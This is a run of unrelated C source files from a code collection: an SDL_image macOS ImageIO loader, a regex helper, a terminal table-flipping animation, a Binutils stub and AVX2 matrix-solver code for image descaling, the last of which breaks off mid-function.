Internal_isType(src, kUTTypePNG); } // This isn't a public API function. Apple seems to be able to identify tga's. int IMG_isTGA(SDL_RWops *src) { return Internal_isType(src, CFSTR("com.truevision.tga-image")); } int IMG_isTIF(SDL_RWops *src) { return Internal_isType(src, kUTTypeTIFF); } SDL_Surface* IMG_LoadCUR_RW(SDL_RWops *src) { /* FIXME: Is this a supported type? */ return LoadImageFromRWops(src, CFSTR("com.microsoft.cur")); } SDL_Surface* IMG_LoadICO_RW(SDL_RWops *src) { return LoadImageFromRWops(src, kUTTypeICO); } SDL_Surface* IMG_LoadBMP_RW(SDL_RWops *src) { return LoadImageFromRWops(src, kUTTypeBMP); } SDL_Surface* IMG_LoadGIF_RW(SDL_RWops *src) { return LoadImageFromRWops(src, kUTTypeGIF); } SDL_Surface* IMG_LoadJPG_RW(SDL_RWops *src) { return LoadImageFromRWops(src, kUTTypeJPEG); } SDL_Surface* IMG_LoadPNG_RW(SDL_RWops *src) { return LoadImageFromRWops(src, kUTTypePNG); } SDL_Surface* IMG_LoadTGA_RW(SDL_RWops *src) { return LoadImageFromRWops(src, CFSTR("com.truevision.tga-image")); } SDL_Surface* IMG_LoadTIF_RW(SDL_RWops *src) { return LoadImageFromRWops(src, kUTTypeTIFF); } // Apple provides both stream and file loading functions in ImageIO. // Potentially, Apple can optimize for either case. SDL_Surface* IMG_Load(const char *file) { SDL_Surface* sdl_surface = NULL; sdl_surface = LoadImageFromFile(file); if(NULL == sdl_surface) { // Either the file doesn't exist or ImageIO doesn't understand the format. // For the latter case, fallback to the native SDL_image handlers. SDL_RWops *src = SDL_RWFromFile(file, "rb"); char *ext = strrchr(file, '.'); if(ext) { ext++; } if(!src) { /* The error message has been set in SDL_RWFromFile */ return NULL; } sdl_surface = IMG_LoadTyped_RW(src, 1, ext); } return sdl_surface; } #endif /* defined(__APPLE__) && !defined(SDL_IMAGE_USE_COMMON_BACKEND) */
the_stack_data/75137927.c
// This tests the ternary operator. in this particular case, the picture // should branch because "-1" isn't represented in our model so either // branch of the if appears possible. void echo(int); static int foo(int i) { int return_var = i>0 ? 1 : 2; return return_var; } volatile int k = 0; int main() { k = foo(-1); k = foo(k); k = foo(3); return 0; }
the_stack_data/1002237.c
/* Copyright (C) 2007-2014 Free Software Foundation, Inc. This file is part of GNU Binutils. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. */ /* Linked with ar.o to flag that this program decides at runtime (using argv[0] if it is is 'ar' or 'ranlib'. */ int is_ranlib = -1;
the_stack_data/193892568.c
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <regex.h> #define MAX_MATCH_GROUPS 20 /* * This function searchs and matches a string with a POSIX Regular Expression * * ----------------+-------+-------------------------------------- * Type + Param + Description * ----------------+-------+-------------------------------------- * const char * | re | POSIX regular expression * const char * | str | string to match against * char ** | p | extracted groups * int | n | maximum number of extracted groups * ----------------+-------+-------------------------------------- * * if (!p) * return value = 1 if found a match * = 0 if NOT found a match * if (p) * return value = number of matched groups * p[i] contains pointer to string of matched group i * NOTE: string p[i] must be later freed by caller */ int regEx(const char *re, const char *str, char **p, int n) { regex_t regex; regmatch_t pmatch[MAX_MATCH_GROUPS]; // NOTE: 20 should be more than enough! regoff_t off; regoff_t len; int ii; int nMatch = (n<MAX_MATCH_GROUPS) ? MAX_MATCH_GROUPS : n; int retVal = 0; int regExecRet; regcomp(&regex, re, REG_EXTENDED); regExecRet = regexec(&regex, str, MAX_MATCH_GROUPS, pmatch, 0); if (regExecRet) { // no matches found retVal = 0; } else { // some matches were found... printf("N = %ld\n",regex.re_nsub); if (p) { memset(p,0,sizeof(char*)*n); for (ii = 0; ii < regex.re_nsub; ii++) { int jj = ii + 1; const char *pnt = str + pmatch[jj].rm_so; // start of match int l = pmatch[jj].rm_eo - pmatch[jj].rm_so; // match length char *tmpStr = (char *)malloc(sizeof(char)*(1+l)); memset(tmpStr,0,1+l); memcpy(tmpStr,pnt,l); p[ii] = tmpStr; } retVal = regex.re_nsub; } else { retVal = 1; } } regfree(&regex); return retVal; } int main(void) { const char *str = "Hello, World"; char *p[5] = {NULL}; int ii; ii = regEx("Hello, World",str,p,5); printf("RET = %d\n",ii); for (int ii=0; ii<5; ii++) { if (p[ii]) { printf("%d : %s\n",ii,p[ii]); free(p[ii]); } } exit(0); }
the_stack_data/12638454.c
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <ctype.h> #include <signal.h> #include <string.h> #include <sys/ioctl.h> #define TABLE "┳━┳" #define FLIPPEDTABLE "┻━┻" #define RESPECT "ノ(°_°ノ)" #define THROW "彡" #define ARM "ノ" #define MIN_FACE 1 #define MAX_FACE 6 char * faces[] = { " ͡° ͜ʖ ͡°", " ͡☉ ͜ʖ ͡☉", "°□°", "✧Д✧", "◉Д◉", "°益°" }; struct options{ char * line; char * rage; char * calm; char list; int rageFace; int calmFace; struct winsize w; }; char run; void signal_handler(int); int parseArgs(int,char**,struct options*); int buildFace(char**,char*,int); void listFaces( void ); int main(int argc, char ** argv){ signal(SIGINT,signal_handler); struct options opts; opts.line= NULL; opts.rage = NULL; opts.calm = NULL; opts.rageFace = 6; opts.calmFace = 3; if(parseArgs(argc,argv,&opts) == -1) return 1; if(opts.list){ listFaces(); return 0; } if(buildFace(&opts.rage,ARM,opts.rageFace) == -1) return 1; if(buildFace(&opts.calm," ",opts.calmFace) == -1) return 1; run = 1; int i; i=0; while(run){ int len = opts.w.ws_col; ioctl(STDOUT_FILENO, TIOCGWINSZ, &opts.w); if(opts.w.ws_col != len){ free(opts.line); if((opts.line = (char*)malloc(opts.w.ws_col/sizeof(char))) == NULL){ free(opts.rage); free(opts.calm); return 1; } memset(opts.line,' ',opts.w.ws_col); opts.line[opts.w.ws_col-1] = '\0'; } printf("\r%s",opts.line); if(i%2==0) printf("\r%s%s",opts.calm,TABLE); else printf("\r%s%s%s",opts.rage,THROW,FLIPPEDTABLE); fflush(stdout); i++; sleep(1); } free(opts.line); free(opts.rage); free(opts.calm); opts.line = NULL; opts.rage = NULL; opts.calm = NULL; return 0; } void signal_handler(int signo){ run=0; printf("\r%s%s Respect the tables!\n",TABLE,RESPECT); } int buildFace(char** face, char* arms, int rage){ int len = 5; // (ノ)ノ\0 len += strlen(faces[rage-1]); len *= 2; if((*face = (char*)malloc(len/sizeof(char))) == NULL) return -1; strncpy(*face,"(",len); strncat(*face,arms,len); strncat(*face,faces[rage-1],len); strncat(*face,")",len); strncat(*face,arms,len); return 0; } void listFaces( void ){ int i; for(i = 1 ; i < MAX_FACE ; i++){ printf("%-5d%s\n",i,faces[i-1]); } } int parseArgs(int argc, char ** argv, struct options* opts){ char c = 0; int i = 0; while((c = getopt(argc,argv,"lr:c:")) != -1){ switch(c){ case 'l': opts->list = 1; break; case 'r': i = atoi(optarg); if( MIN_FACE > i || i > MAX_FACE ){ fprintf(stderr,"Invalid argument to -r: %d\n",i); return -1; } opts->rageFace = i; break; case 'c': i = atoi(optarg); if( MIN_FACE > i || i > MAX_FACE ){ fprintf(stderr,"Invalid argument to -c: %d\n",i); return -1; } opts->calmFace = i; break; case '?': if(optopt == 'c' || optopt == 'r'){ fprintf(stderr,"Option -%c requires an arugment\n",optopt); }else if( isprint(optopt) ){ fprintf(stderr,"Unknown option -%c\n",optopt); }else{ fprintf(stderr,"Unknow character '\\x%x'\n",c); } return -1; default: abort(); } } return 0; }
the_stack_data/32926.c
/* * Copyright © 2020-2022 Frechdachs <[email protected]> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the “Software”), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifdef DESCALE_X86 #include <stdlib.h> #include <immintrin.h> #include "common.h" #include "x86/descale_avx2.h" // Taken from zimg https://github.com/sekrit-twc/zimg static inline __attribute__((always_inline)) void mm256_transpose8_ps(__m256 *row0, __m256 *row1, __m256 *row2, __m256 *row3, __m256 *row4, __m256 *row5, __m256 *row6, __m256 *row7) { __m256 t0, t1, t2, t3, t4, t5, t6, t7; __m256 tt0, tt1, tt2, tt3, tt4, tt5, tt6, tt7; t0 = _mm256_unpacklo_ps(*row0, *row1); t1 = _mm256_unpackhi_ps(*row0, *row1); t2 = _mm256_unpacklo_ps(*row2, *row3); t3 = _mm256_unpackhi_ps(*row2, *row3); t4 = _mm256_unpacklo_ps(*row4, *row5); t5 = _mm256_unpackhi_ps(*row4, *row5); t6 = _mm256_unpacklo_ps(*row6, *row7); t7 = _mm256_unpackhi_ps(*row6, *row7); tt0 = _mm256_shuffle_ps(t0, t2, _MM_SHUFFLE(1, 0, 1, 0)); tt1 = _mm256_shuffle_ps(t0, t2, _MM_SHUFFLE(3, 2, 3, 2)); tt2 = _mm256_shuffle_ps(t1, t3, _MM_SHUFFLE(1, 0, 1, 0)); tt3 = _mm256_shuffle_ps(t1, t3, _MM_SHUFFLE(3, 2, 3, 2)); tt4 = _mm256_shuffle_ps(t4, t6, _MM_SHUFFLE(1, 0, 1, 0)); tt5 = _mm256_shuffle_ps(t4, t6, _MM_SHUFFLE(3, 2, 3, 2)); tt6 = _mm256_shuffle_ps(t5, t7, _MM_SHUFFLE(1, 0, 1, 0)); tt7 = _mm256_shuffle_ps(t5, t7, _MM_SHUFFLE(3, 2, 3, 2)); *row0 = _mm256_permute2f128_ps(tt0, tt4, 0x20); *row1 = _mm256_permute2f128_ps(tt1, tt5, 0x20); *row2 = _mm256_permute2f128_ps(tt2, tt6, 0x20); *row3 = _mm256_permute2f128_ps(tt3, tt7, 0x20); *row4 = _mm256_permute2f128_ps(tt0, tt4, 0x31); *row5 = _mm256_permute2f128_ps(tt1, tt5, 0x31); *row6 = _mm256_permute2f128_ps(tt2, tt6, 0x31); *row7 = _mm256_permute2f128_ps(tt3, tt7, 0x31); } // Taken from zimg https://github.com/sekrit-twc/zimg static inline __attribute__((always_inline)) void transpose_line_8x8_ps(float * restrict dst, const float * restrict src, int src_stride, int left, int right) { for (int j = left; j < right; j += 8) { __m256 x0, x1, x2, x3, x4, x5, x6, x7; x0 = _mm256_load_ps(src + j); x1 = _mm256_load_ps(src + src_stride + j); x2 = _mm256_load_ps(src + 2 * src_stride + j); x3 = _mm256_load_ps(src + 3 * src_stride + j); x4 = _mm256_load_ps(src + 4 * src_stride + j); x5 = _mm256_load_ps(src + 5 * src_stride + j); x6 = _mm256_load_ps(src + 6 * src_stride + j); x7 = _mm256_load_ps(src + 7 * src_stride + j); mm256_transpose8_ps(&x0, &x1, &x2, &x3, &x4, &x5, &x6, &x7); _mm256_store_ps(dst, x0); _mm256_store_ps(dst + 8, x1); _mm256_store_ps(dst + 16, x2); _mm256_store_ps(dst + 24, x3); _mm256_store_ps(dst + 32, x4); _mm256_store_ps(dst + 40, x5); _mm256_store_ps(dst + 48, x6); _mm256_store_ps(dst + 56, x7); dst += 64; } } /* * Horizontal solver that is specialized for systems with bandwidth 3. * It is faster than the generalized version, because it uses much * less load/store instructions. */ static void process_line8_h_b3_avx2(int width, int current_width, int current_height, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict lower, float * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp, float * restrict temp) { transpose_line_8x8_ps(temp, srcp, src_stride, 0, ceil_n(current_width, 8)); __m256 x0, x1, x2, x3, x4, x5, x6, x7; __m256 a0, a1, lo, up, di, x_last; x_last = _mm256_setzero_ps(); for (int j = 0; j < width; j += 8) { x0 = _mm256_setzero_ps(); x1 = x0; x2 = x0; x3 = x0; x4 = x0; x5 = x0; x6 = x0; x7 = x0; #define MATMULT(x, a0, a1, wl_idx, wr_idx, w_col, weights, temp, j, m)\ for (int k = wl_idx[j + m]; k < wr_idx[j + m]; k++) {\ a0 = _mm256_set1_ps(weights[(j + m) * w_col + k - wl_idx[j + m]]);\ a1 = _mm256_load_ps(temp + k * 8);\ x = _mm256_fmadd_ps(a0, a1, x);\ } // A' b MATMULT(x0, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 0); MATMULT(x1, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 1); MATMULT(x2, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 2); MATMULT(x3, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 3); MATMULT(x4, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 4); MATMULT(x5, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 5); MATMULT(x6, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 6); MATMULT(x7, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 7); #undef MATMULT #define SOLVEF(x, lo, di, x_last, j, m)\ lo = _mm256_set1_ps(lower[j + m]);\ x = _mm256_fnmadd_ps(lo, x_last, x);\ di = _mm256_set1_ps(diagonal[j + m]);\ x = _mm256_mul_ps(x, di); // Solve LD y = A' b SOLVEF(x0, lo, di, x_last, j, 0); SOLVEF(x1, lo, di, x0, j, 1); SOLVEF(x2, lo, di, x1, j, 2); SOLVEF(x3, lo, di, x2, j, 3); SOLVEF(x4, lo, di, x3, j, 4); SOLVEF(x5, lo, di, x4, j, 5); SOLVEF(x6, lo, di, x5, j, 6); SOLVEF(x7, lo, di, x6, j, 7); #undef SOLVEF x_last = x7; _mm256_store_ps(dstp + j, x0); _mm256_store_ps(dstp + 1 * dst_stride + j, x1); _mm256_store_ps(dstp + 2 * dst_stride + j, x2); _mm256_store_ps(dstp + 3 * dst_stride + j, x3); _mm256_store_ps(dstp + 4 * dst_stride + j, x4); _mm256_store_ps(dstp + 5 * dst_stride + j, x5); _mm256_store_ps(dstp + 6 * dst_stride + j, x6); _mm256_store_ps(dstp + 7 * dst_stride + j, x7); } // Solve L' x = y for (int j = ceil_n(width, 8) - 8; j >= 0; j -= 8) { x0 = _mm256_load_ps(dstp + j); x1 = _mm256_load_ps(dstp + 1 * dst_stride + j); x2 = _mm256_load_ps(dstp + 2 * dst_stride + j); x3 = _mm256_load_ps(dstp + 3 * dst_stride + j); x4 = _mm256_load_ps(dstp + 4 * dst_stride + j); x5 = _mm256_load_ps(dstp + 5 * dst_stride + j); x6 = _mm256_load_ps(dstp + 6 * dst_stride + j); x7 = _mm256_load_ps(dstp + 7 * dst_stride + j); #define SOLVEB(x, up, x_last, j, m)\ up = _mm256_set1_ps(upper[j + m]);\ x = _mm256_fnmadd_ps(up, x_last, x); SOLVEB(x7, up, x_last, j, 7); SOLVEB(x6, up, x7, j, 6); SOLVEB(x5, up, x6, j, 5); SOLVEB(x4, up, x5, j, 4); SOLVEB(x3, up, x4, j, 3); SOLVEB(x2, up, x3, j, 2); SOLVEB(x1, up, x2, j, 1); SOLVEB(x0, up, x1, j, 0); #undef SOLVEB x_last = x0; mm256_transpose8_ps(&x0, &x1, &x2, &x3, &x4, &x5, &x6, &x7); _mm256_store_ps(dstp + j, x0); _mm256_store_ps(dstp + 1 * dst_stride + j, x1); _mm256_store_ps(dstp + 2 * dst_stride + j, x2); _mm256_store_ps(dstp + 3 * dst_stride + j, x3); _mm256_store_ps(dstp + 4 * dst_stride + j, x4); _mm256_store_ps(dstp + 5 * dst_stride + j, x5); _mm256_store_ps(dstp + 6 * dst_stride + j, x6); _mm256_store_ps(dstp + 7 * dst_stride + j, x7); } } /* * Horizontal solver that is specialized for systems with bandwidth 7. * It is faster than the generalized version, because it uses much * less load/store instructions. */ static void process_line8_h_b7_avx2(int width, int current_width, int current_height, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp, float * restrict temp) { transpose_line_8x8_ps(temp, srcp, src_stride, 0, ceil_n(current_width, 8)); __m256 x0, x1, x2, x3, x4, x5, x6, x7; __m256 a0, a1, lo, up, di, x_last0, x_last1, x_last2; x_last0 = _mm256_setzero_ps(); for (int j = 0; j < width; j += 8) { x0 = _mm256_setzero_ps(); x1 = x0; x2 = x0; x3 = x0; x4 = x0; x5 = x0; x6 = x0; x7 = x0; #define MATMULT(x, a0, a1, wl_idx, wr_idx, w_col, weights, temp, j, m)\ for (int k = wl_idx[j + m]; k < wr_idx[j + m]; k++) {\ a0 = _mm256_set1_ps(weights[(j + m) * w_col + k - wl_idx[j + m]]);\ a1 = _mm256_load_ps(temp + k * 8);\ x = _mm256_fmadd_ps(a0, a1, x);\ } // A' b MATMULT(x0, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 0); MATMULT(x1, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 1); MATMULT(x2, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 2); MATMULT(x3, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 3); MATMULT(x4, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 4); MATMULT(x5, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 5); MATMULT(x6, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 6); MATMULT(x7, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 7); #undef MATMULT #define SOLVEF(x, lo, di, x_last0, x_last1, x_last2, j, m)\ if (j + m > 2) {\ lo = _mm256_set1_ps(lower[0][j + m]);\ x = _mm256_fnmadd_ps(lo, x_last2, x);\ lo = _mm256_set1_ps(lower[1][j + m]);\ x = _mm256_fnmadd_ps(lo, x_last1, x);\ lo = _mm256_set1_ps(lower[2][j + m]);\ x = _mm256_fnmadd_ps(lo, x_last0, x);\ } else if (j + m > 1) {\ lo = _mm256_set1_ps(lower[1][j + m]);\ x = _mm256_fnmadd_ps(lo, x_last1, x);\ lo = _mm256_set1_ps(lower[2][j + m]);\ x = _mm256_fnmadd_ps(lo, x_last0, x);\ } else if (j + m > 0) {\ lo = _mm256_set1_ps(lower[2][j + m]);\ x = _mm256_fnmadd_ps(lo, x_last0, x);\ }\ di = _mm256_set1_ps(diagonal[j + m]);\ x = _mm256_mul_ps(x, di); // Solve LD y = A' b SOLVEF(x0, lo, di, x_last0, x_last1, x_last2, j, 0); SOLVEF(x1, lo, di, x0, x_last0, x_last1, j, 1); SOLVEF(x2, lo, di, x1, x0, x_last0, j, 2); SOLVEF(x3, lo, di, x2, x1, x0, j, 3); SOLVEF(x4, lo, di, x3, x2, x1, j, 4); SOLVEF(x5, lo, di, x4, x3, x2, j, 5); SOLVEF(x6, lo, di, x5, x4, x3, j, 6); SOLVEF(x7, lo, di, x6, x5, x4, j, 7); #undef SOLVEF x_last0 = x7; x_last1 = x6; x_last2 = x5; _mm256_store_ps(dstp + j, x0); _mm256_store_ps(dstp + 1 * dst_stride + j, x1); _mm256_store_ps(dstp + 2 * dst_stride + j, x2); _mm256_store_ps(dstp + 3 * dst_stride + j, x3); _mm256_store_ps(dstp + 4 * dst_stride + j, x4); _mm256_store_ps(dstp + 5 * dst_stride + j, x5); _mm256_store_ps(dstp + 6 * dst_stride + j, x6); _mm256_store_ps(dstp + 7 * dst_stride + j, x7); } // Solve L' x = y for (int j = ceil_n(width, 8) - 8; j >= 0; j -= 8) { x0 = _mm256_load_ps(dstp + j); x1 = _mm256_load_ps(dstp + 1 * dst_stride + j); x2 = _mm256_load_ps(dstp + 2 * dst_stride + j); x3 = _mm256_load_ps(dstp + 3 * dst_stride + j); x4 = _mm256_load_ps(dstp + 4 * dst_stride + j); x5 = _mm256_load_ps(dstp + 5 * dst_stride + j); x6 = _mm256_load_ps(dstp + 6 * dst_stride + j); x7 = _mm256_load_ps(dstp + 7 * dst_stride + j); #define SOLVEB(x, up, x_last0, x_last1, x_last2, width, j, m)\ if (j + m < width - 3) {\ up = _mm256_set1_ps(upper[0][j + m]);\ x = _mm256_fnmadd_ps(up, x_last0, x);\ up = _mm256_set1_ps(upper[1][j + m]);\ x = _mm256_fnmadd_ps(up, x_last1, x);\ up = _mm256_set1_ps(upper[2][j + m]);\ x = _mm256_fnmadd_ps(up, x_last2, x);\ } else if (j + m < width - 2) {\ up = _mm256_set1_ps(upper[0][j + m]);\ x = _mm256_fnmadd_ps(up, x_last0, x);\ up = _mm256_set1_ps(upper[1][j + m]);\ x = _mm256_fnmadd_ps(up, x_last1, x);\ } else if (j + m < width - 1) {\ up = _mm256_set1_ps(upper[0][j + m]);\ x = _mm256_fnmadd_ps(up, x_last0, x);\ } SOLVEB(x7, up, x_last0, x_last1, x_last2, width, j, 7); SOLVEB(x6, up, x7, x_last0, x_last1, width, j, 6); SOLVEB(x5, up, x6, x7, x_last0, width, j, 5); SOLVEB(x4, up, x5, x6, x7, width, j, 4); SOLVEB(x3, up, x4, x5, x6, width, j, 3); SOLVEB(x2, up, x3, x4, x5, width, j, 2); SOLVEB(x1, up, x2, x3, x4, width, j, 1); SOLVEB(x0, up, x1, x2, x3, width, j, 0); #undef SOLVEB x_last0 = x0; x_last1 = x1; x_last2 = x2; mm256_transpose8_ps(&x0, &x1, &x2, &x3, &x4, &x5, &x6, &x7); _mm256_store_ps(dstp + j, x0); _mm256_store_ps(dstp + 1 * dst_stride + j, x1); _mm256_store_ps(dstp + 2 * dst_stride + j, x2); _mm256_store_ps(dstp + 3 * dst_stride + j, x3); _mm256_store_ps(dstp + 4 * dst_stride + j, x4); _mm256_store_ps(dstp + 5 * dst_stride + j, x5); _mm256_store_ps(dstp + 6 * dst_stride + j, x6); _mm256_store_ps(dstp + 7 * dst_stride + j, x7); } } /* * This is a more general solver that has much more load/store * instructions than the specialized solvers for bandwidths 3 and 7. * The bandwidth can be arbitrarily high, meaning the solver * could need arbitarily many past already computed values, * so this general implementation just stores values immediately * and loads them again when needed. */ static void process_line8_h_avx2(int width, int current_width, int current_height, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp, float * restrict temp) { __m256 x0, x1, x2, x3, x4, x5, x6, x7; __m256 a0, a1, lo, up, di, x_last; int start; int c = bandwidth / 2; x_last = _mm256_setzero_ps(); transpose_line_8x8_ps(temp, srcp, src_stride, 0, ceil_n(current_width, 8)); for (int j = 0; j < width; j += 8) { x0 = _mm256_setzero_ps(); x1 = x0; x2 = x0; x3 = x0; x4 = x0; x5 = x0; x6 = x0; x7 = x0; #define MATMULT(x, a0, a1, wl_idx, wr_idx, w_col, weights, temp, j, m)\ for (int k = wl_idx[j + m]; k < wr_idx[j + m]; k++) {\ a0 = _mm256_set1_ps(weights[(j + m) * w_col + k - wl_idx[j + m]]);\ a1 = _mm256_load_ps(temp + k * 8);\ x = _mm256_fmadd_ps(a0, a1, x);\ } // A' b MATMULT(x0, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 0); MATMULT(x1, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 1); MATMULT(x2, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 2); MATMULT(x3, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 3); MATMULT(x4, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 4); MATMULT(x5, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 5); MATMULT(x6, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 6); MATMULT(x7, a0, a1, weights_left_idx, weights_right_idx, weights_columns, weights, temp, j, 7); #undef MATMULT #define SOLVESTOREF(x, lo, di, c, start, j, m)\ start = DSMAX(0, j + m - c);\ for (int k = start; k < (j + m); k++) {\ lo = _mm256_set1_ps(lower[k - j - m + c][j + m]);\ x_last = _mm256_load_ps(dstp + (k % 8) * dst_stride + j - 8 * ((j + m) / 8 - k / 8));\ x = _mm256_fnmadd_ps(lo, x_last, x);\ }\ di = _mm256_set1_ps(diagonal[j + m]);\ x = _mm256_mul_ps(x, di);\ _mm256_store_ps(dstp + m * dst_stride + j, x); SOLVESTOREF(x0, lo, di, c, start, j, 0); SOLVESTOREF(x1, lo, di, c, start, j, 1); SOLVESTOREF(x2, lo, di, c, start, j, 2); SOLVESTOREF(x3, lo, di, c, start, j, 3); SOLVESTOREF(x4, lo, di, c, start, j, 4); SOLVESTOREF(x5, lo, di, c, start, j, 5); SOLVESTOREF(x6, lo, di, c, start, j, 6); SOLVESTOREF(x7, lo, di, c, start, j, 7); #undef SOLVESTOREF } // Solve L' x = y for (int j = ceil_n(width, 8) - 8; j >= 0; j -= 8) { #define SOLVESTOREB(x, up, c, start, j, m)\ x = _mm256_load_ps(dstp + m * dst_stride + j);\ start = DSMIN(width - 1, j + m + c);\ for (int k = start; k > (j + m); k--) {\ up = _mm256_set1_ps(upper[k - j - m - 1][j + m]);\ x_last = _mm256_load_ps(dstp + (k % 8) * dst_stride + j + 8 * (k / 8 - (j + m) / 8));\ x = _mm256_fnmadd_ps(up, x_last, x);\ }\ _mm256_store_ps(dstp + m * dst_stride + j, x); SOLVESTOREB(x0, up, c, start, j, 7); SOLVESTOREB(x0, up, c, start, j, 6); SOLVESTOREB(x0, up, c, start, j, 5); SOLVESTOREB(x0, up, c, start, j, 4); SOLVESTOREB(x0, up, c, start, j, 3); SOLVESTOREB(x0, up, c, start, j, 2); SOLVESTOREB(x0, up, c, start, j, 1); SOLVESTOREB(x0, up, c, start, j, 0); #undef SOLVESTOREB } for (int j = 0; j < width; j += 8) { x0 = _mm256_load_ps(dstp + j); x1 = _mm256_load_ps(dstp + 1 * dst_stride + j); x2 = _mm256_load_ps(dstp + 2 * dst_stride + j); x3 = _mm256_load_ps(dstp + 3 * dst_stride + j); x4 = _mm256_load_ps(dstp + 4 * dst_stride + j); x5 = _mm256_load_ps(dstp + 5 * dst_stride + j); x6 = _mm256_load_ps(dstp + 6 * dst_stride + j); x7 = _mm256_load_ps(dstp + 7 * dst_stride + j); mm256_transpose8_ps(&x0, &x1, &x2, &x3, &x4, &x5, &x6, &x7); _mm256_store_ps(dstp + j, x0); _mm256_store_ps(dstp + 1 * dst_stride + j, x1); _mm256_store_ps(dstp + 2 * dst_stride + j, x2); _mm256_store_ps(dstp + 3 * dst_stride + j, x3); _mm256_store_ps(dstp + 4 * dst_stride + j, x4); _mm256_store_ps(dstp + 5 * dst_stride + j, x5); _mm256_store_ps(dstp + 6 * dst_stride + j, x6); _mm256_store_ps(dstp + 7 * dst_stride + j, x7); } } static void process_plane_h_b3_avx2(int width, int current_width, int current_height, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp, float * restrict temp) { for (int i = 0; i < floor_n(current_height, 8); i += 8) { process_line8_h_b3_avx2(width, current_width, current_height, weights_left_idx, weights_right_idx, weights_columns, weights, lower[0], upper[0], diagonal, src_stride, dst_stride, srcp, dstp, temp); srcp += src_stride * 8; dstp += dst_stride * 8; } if (floor_n(current_height, 8) != current_height) { srcp -= src_stride * (8 - (current_height - floor_n(current_height, 8))); dstp -= dst_stride * (8 - (current_height - floor_n(current_height, 8))); process_line8_h_b3_avx2(width, current_width, current_height, weights_left_idx, weights_right_idx, weights_columns, weights, lower[0], upper[0], diagonal, src_stride, dst_stride, srcp, dstp, temp); } } static void process_plane_h_b7_avx2(int width, int current_width, int current_height, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp, float * restrict temp) { for (int i = 0; i < floor_n(current_height, 8); i += 8) { process_line8_h_b7_avx2(width, current_width, current_height, weights_left_idx, weights_right_idx, weights_columns, weights, lower, upper, diagonal, src_stride, dst_stride, srcp, dstp, temp); srcp += src_stride * 8; dstp += dst_stride * 8; } if (floor_n(current_height, 8) != current_height) { srcp -= src_stride * (8 - (current_height - floor_n(current_height, 8))); dstp -= dst_stride * (8 - (current_height - floor_n(current_height, 8))); process_line8_h_b7_avx2(width, current_width, current_height, weights_left_idx, weights_right_idx, weights_columns, weights, lower, upper, diagonal, src_stride, dst_stride, srcp, dstp, temp); } } static void process_plane_h_avx2(int width, int current_width, int current_height, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int 